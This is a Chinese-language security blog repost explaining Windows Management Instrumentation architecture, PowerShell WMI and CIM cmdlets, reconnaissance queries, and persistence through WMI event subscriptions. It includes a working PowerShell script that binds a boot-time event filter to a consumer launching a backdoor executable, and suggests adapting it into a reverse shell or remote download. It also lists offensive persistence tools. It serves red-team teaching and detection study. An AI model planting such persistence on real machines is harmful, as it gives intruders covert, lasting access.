利用WMI进行持久化

admin 2025年1月3日14:00:20评论11 views字数 6805阅读22分41秒阅读模式

0x01 WMI简介

WMI的全称是“Windows Management Instrumentation”,即Windows管理规范。它是 Microsoft CIM(通用信息模型)和 WBEM(基于 Web 的企业管理)的实现——这两者通常都是DMTF(分布式管理任务组)标准。WMI是由一系列工具集组成的,可以在本地或者远程管理计算机系统。WMI可以做很多事情,从收集计算机状态和配置设置到运行应用程序和执行代码。从Windows 98开始,Windows操作系统都支持WMIWMI无疑是目前Windows攻击中用的最多的工具, 他强大的管理功能为我们带来了极大的便利。从红队的角度来看,WMI 可用于执行多种活动,例如横向移动、持久化、信息收集、代码执行以及作为命令和控制(C2)
WMI在渗透测试中的价值在于它不需要下载和安装,因为WMIWindows系统自带功能。而且整个运行过程都在计算机内存中发生,可以有效躲避蓝队的检测。

0x02 WMI架构

从整体架构上来说WMI可以分为三个部分:第一部分WMI提供程序和WMI托管对象,第二部分WMI基础设施,第三部分WMI消费者。WMI本身的组织架构是一个数据库架构,WMI 服务使用 DCOMTCP 端口135)或 WinRM 协议(SOAP–端口 5985)。
关于WMI的架构,目前有两张比较经典的架构图。一张来自微软官方,另一张来自Matt Graeber在black Hat的演讲PPT。
利用WMI进行持久化

(来自微软官网)

  • WMI提供者和WMI托管对象

WMI提供者由一个DLL文件和一个托管对象格式 (MOF)文件组成,该文件定义了提供程序为其返回数据并执行操作的类。WMI 提供程序是一个COM 对象,它监视一个或多个WMI托管对象。
托管对象是逻辑或物理企业组件,例如硬盘驱动器、网络适配器、数据库系统、操作系统、进程或服务。
  • WMI基础结构

WMI基础结构是被称为WMI服务的微软操作系统组件。WMI基础结构有两个模块:WMI核心(WMI Core)和WMI存储库(WMI Repository)。
WMI存储库是通过命名空间组织起来的。WMI 服务会在系统启动时创建一些命名空间,例如 rootdefaultrootcimv2 rootsubscription,并预安装一组默认的类定义信息到这些命名空间中,包括Win32 类、WMI 系统类等。
  • WMI消费者

WMI消费者是与 WMI 基础结构交互的管理应用程序或脚本。管理应用程序可以通过调用 WMI COM APIWMI 的脚本 API来查询、枚举数据、运行提供程序方法或订阅事件。

利用WMI进行持久化

(来自Matt Graeber在black Hat的演讲PPT)

下面我们分别再详细介绍下这几个重要的组件。

  • 客户端/消费者(Clients/ Consumers

WMI消费者位于WMI构架的最顶层,是WMI技术使用的载体。WMI消费者与WMI类交互以查询、枚举数据、运行Provider方法和WMI事件通知等。
如果我们是C++程序员,我们可以通过COM技术直接与下层通信。
而脚本语言则要支持WMI Scripting API,间接与下层通信。
对于.net平台语言,则要使用System.Management域相关功能与下层通信。
常见的客户端(消费者)包括wmic.exewbemtest.exewinrm.exeVBScript/JScript Powershell等。
  • 查询语言

就像SQL为您提供查询数据库的方法一样,WMI 也有 WQLWMI 查询语言)/CQL 用于查询 WMI 服务。
  • 存储库
用于存储类的所有静态数据(定义)。存储库由定义结构、类、名称空间等的 MOF(托管对象格式)文件定义。数据库文件可以在%WINDIR%System32WbemRepository目录下找到。

利用WMI进行持久化

  • WMI基础结构(WMI Infrastructure)

WMI存储库是用于存储WMI静态数据的存储空间。WMI服务扮演着WMI提供者、管理应用和WMI存储库之间的协调者角色。一般来说,它是通过一个共享的服务进程Svchost来实施工作的。当第一个管理应用向WMI命名空间发起连接时,WMI服务将会启动。当管理应用不再调用WMI时,WMI服务将会关闭或者进入低内存状态。如我们上图所示,WMI服务和上层应用之间是通过COM接口来实现的。当一个应用通过接口向WMI发起请求时,WMI将判断该请求是请求静态数据还是动态数据。
如果请求的是一个静态数据,WMI将从WMI存储库中查找数据并返回;
如果请求的是一个动态数据,比如一个托管对象的当前内存情况,WMI服务将请求传递给已经在WMI服务中注册的相应的WMI提供者。WMI提供者将数据返回给WMI服务,WMI服务再将结果返回给请求的应用。
  • 提供者
可以在WMI提供者的帮助下访问存储库中定义的任何内容。它们通常是 DLL 文件,并与 MOF 文件相关联 - cimwin32.dllstdprov.dll等。提供者也可以采用其他类型的形式(类、事件、事件使用者、方法等)。
  • DCOM
分布式组件对象模型的别名,DCOM Microsoft 专有协议,用于联网计算机上的软件组件之间的通信。WMI 使用分布式 COM (DCOM) 连接到远程计算机。但是,DCOM 对防火墙并不友好。
  • WS-MAN
WS-MAN WS-Management 是一种 DMTF 标准,它为系统提供了一种访问 IT 基础架构中管理信息的通用方式。另一方面,WS-MAN 使用 HTTP,因此绝对是防火墙友好的。
  • MOF文件
MOF文件主要用于定义WMI命名空间、类、提供程序等。拓展名为.mof,通常可以在%WINDIR%System32Wbem目录下找到它们。

0x03 通过powershellWMI进行交互

PowerShell从一开始就有用于处理 WMI cmdlet。可以使用这些 cmdlet 完成管理本地和远程计算机所需的端到端任务。
通过Get-Command -Noun WMI* 命令,可以查看PowerShell 中存在哪些 WMI cmdlet

利用WMI进行持久化

Cmdlet

描述

Get-WmiObject

获取 WMI 类或信息的实例。

Invoke-WmiMethod

调用 WMI 方法。

Register-WmiEvent

订阅 WMI 事件。

Remove-WmiObject

删除 WMI 类和实例。

Set-WmiInstance

创建或修改 WMI 类的实例。

PowerShell 3.0 版中引入了通用信息模型 (CIM) cmdletCIM cmdlet 的设计使它们可以在 Windows 和非 Windows 机器上使用。微软官网说WMI cmdlet已弃用,建议使用 CIM cmdlet
使用Get-Command -Module CimCmdlets命令,可以获取CIM cmdlet 的列表。

利用WMI进行持久化

Cmdlet

描述

Get-CimAssociatedInstance

检索通过关联连接到特定 CIM 实例的 CIM 实例。

Get-CimClass

获取特定命名空间中的 CIM 类列表。

Get-CimInstance

CIM 服务器获取类的 CIM 实例。

Get-CimSession

从当前会话中获取 CIM 会话对象。

Import-BinaryMiLog

用于根据导出文件的内容重新创建保存的对象。

Invoke-CimMethod

调用 CIM 类的方法。

New-CimInstance

创建 CIM 实例。

New-CimSession

创建 CIM 会话。

New-CimSessionOption

指定 New-CimSession cmdlet 的高级选项。

Register-CimIndicationEvent

使用过滤器表达式或查询表达式订阅指示。

Remove-CimInstance

从计算机中删除 CIM 实例。

Remove-CimSession

删除一个或多个 CIM 会话。

Set-CimInstance

通过调用 CIM 类的 ModifyInstance 方法修改 CIM 服务器上的 CIM 实例。

在实际的攻防过程中,无论是WMI cmdlet还是CIM cmdlet,都有可能会用到。因此本文会混合使用WMI cmdletCIM cmdlet
WMI的以下三个组件与Windows PowerShell交互:命名空间、提供程序和类。
WMI命名空间将 WMI 提供程序和 WMI 类组织成相关组件的组。这样,它们类似于.NET Framework命名空间。命名空间不是物理位置,而是更类似于逻辑数据库。所有 WMI 命名空间都是__Namespace系统类的实例。默认 WMI 命名空间是自 Microsoft Windows 2000) 以来的ROOTcimv2。要获取其他命名空间中的 WMI 命名空间,需要通过-Namespace参数来指定。
  • 我们可以通过如下命令查询root命名空间的命名空间

Get-WmiObject -Class __namespace -Namespace root | select name

利用WMI进行持久化

WMI命名空间是分层的。因此,获取特定系统上所有命名空间的列表需要从根命名空间开始执行递归查询。
  • 通过如下命令查询ROOT/cimv2命名空间下的命名空间

Get-WmiObject -Class __Namespace -Namespace ROOT/cimv2 | select name

利用WMI进行持久化

  • 通过如下命令查询BIOS信息

Get-WmiObject -Class Win32_BIOS

利用WMI进行持久化

  • 通过如下命令查询计算机信息

Get-WmiObject -Class Win32_Operatingsystem

利用WMI进行持久化

  • 通过如下命令查询本机安装的杀毒软件名称

Get-WmiObject -Namespace rootSecurityCenter2 -Class AntiVirusProduct

利用WMI进行持久化

  • 通过如下命令查询已安装补丁信息

Get-WmiObject -Class Win32_QuickFixEngineering
如下的WMI类可以在攻击的侦察阶段进行信息收集,用法跟查询补丁信息类似:
主机/操作系统信息:Win32_OperatingSystem, Win32_ComputerSystem
文件/目录列举: CIM_DataFile
磁盘卷列举: Win32_Volume
注册表操作: StdRegProv
运行进程: Win32_Process
服务列举: Win32_Service
事件日志: Win32_NtLogEvent
登录账户: Win32_LoggedOnUser
共享: Win32_Share

0x04 如何利用WMI进行持久化

通常,利用WMI事件订阅的持久化需要创建以下三个类,它们用于存储有效负载或任意命令,指定将触发有效负载的事件并将两个类(__EventConsumer &__EventFilter)关联起来,以便执行和触发绑定一起。
  • __EventFilter

事件筛选器组件允许我们使用 Windows 管理规范 (WMI) 规则。它包含两个类:MSFT_Rule,它定义管理范围内的单个规则,以及MSFT_SomFilter,它提供在目标设备上评估的查询列表。
  • EventConsumer

事件消费者类是表明了想要进行什么操作,一般有5Consumer 类。
ActiveScriptEventConsumer——当事件传递给它时,以任意脚本语言执行预定义的脚本。
CommandLineEventConsumer——当一个事件被传递给它时,在本地系统上下文中启动一个任意进程。
LogFileEventConsumer——当事件发送到文本日志文件时,将自定义字符串写入文本日志文件。
NTEventLogEventConsumer——当事件被传递到 Windows NT 事件日志时,将特定消息记录到 Windows NT 事件日志中。
SMTPEventConsumer——每次将事件传递给它时,都使用 SMTP 发送电子邮件。
  • __FilterToConsumerBinding

绑定实际上是将事件筛选器(__EventFilter)和事件消费者(__EventConsume)结合在一起,一旦将这两者绑定在一起,就可以让 WMI 事件订阅立即工作。要禁用现有的 WMI 订阅,只需删除绑定实例。
通过如下命令,可以分别查看事件筛选器、事件消费者和绑定。
Get-WMIObject -Namespace rootSubscription -Class __EventFilter
Get-WMIObject -Namespace rootSubscription -Class __EventConsumer
Get-WMIObject -Namespace rootSubscription -Class __FilterToConsumerBinding

利用WMI进行持久化

下面我们创建一个事件筛选器,选择开机时间为120秒到180秒之间。
创建一个事件消费者,让他执行C盘目录下的qq.exe文件。这个qq.exe文件就是我们的后门文件。
最后我们创建一个绑定,将事件筛选器和事件消费者绑定。

利用WMI进行持久化

通过如下命令我们可以查看开机时间
Get-WmiObject Win32_PerfFormattedData_PerfOS_System | select SystemUpTime
下图我们可以看到,大概开机147秒左右,我们的持久化程序qq.exe已经启动了。

利用WMI进行持久化

代码如下:
$FilterArgs = @{name='QQWMI';        EventNameSpace='root/CimV2';        QueryLanguage="WQL";        Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 120 AND TargetInstance.SystemUpTime < 185"};$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs$ConsumerArgs= @{name='QQWMI';        CommandLineTemplate="C:\qq.exe";}$Consumer =New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs$FilterToConsumerArgs = @{Filter = [Ref] $FilterConsumer = [Ref] $Consumer}$FilterToConsumerBinding =New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs
大家可以在上文的基础上进行修改,改成反弹shell或利用powershell的DownloadString去远端下载文件。与上文类似的还有一些比较优秀的工具,可以实现利用WMI事件订阅进行的持久化,大家可以作为参考。限于篇幅,本文不再赘述,后续再进行详细介绍。

工具名称

语言

触发器

Metasploit

Ruby

Failed Logon, Process, Startup, Timed

Empire

PowerShell

Failed Logon, Startup, Timed

SharpSploit

C#

Process

WMIPersist

C#

Process

PoshC2

Python3

Timed

PowerPunch

PowerShell

Logon, Startup

Wmi-Persistence

PowerShell

Logon, Startup, Interval, Timed

PowerLurk

PowerShell

USB, Logon, Process, Interval, Timed

WMI-Persistence

PowerShell

Up-time

WMILogonBackdoor

PowerShell

Timed, Interval

WMIBackdoor

PowerShell

Timed, Interval

WMI-Persistence

PowerShell

Timed

参考连接:

https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-architecture 

https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/

原文始发于微信公众号(Roc安全空间站):利用WMI进行持久化

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月3日14:00:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用WMI进行持久化https://cn-sec.com/archives/2008231.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息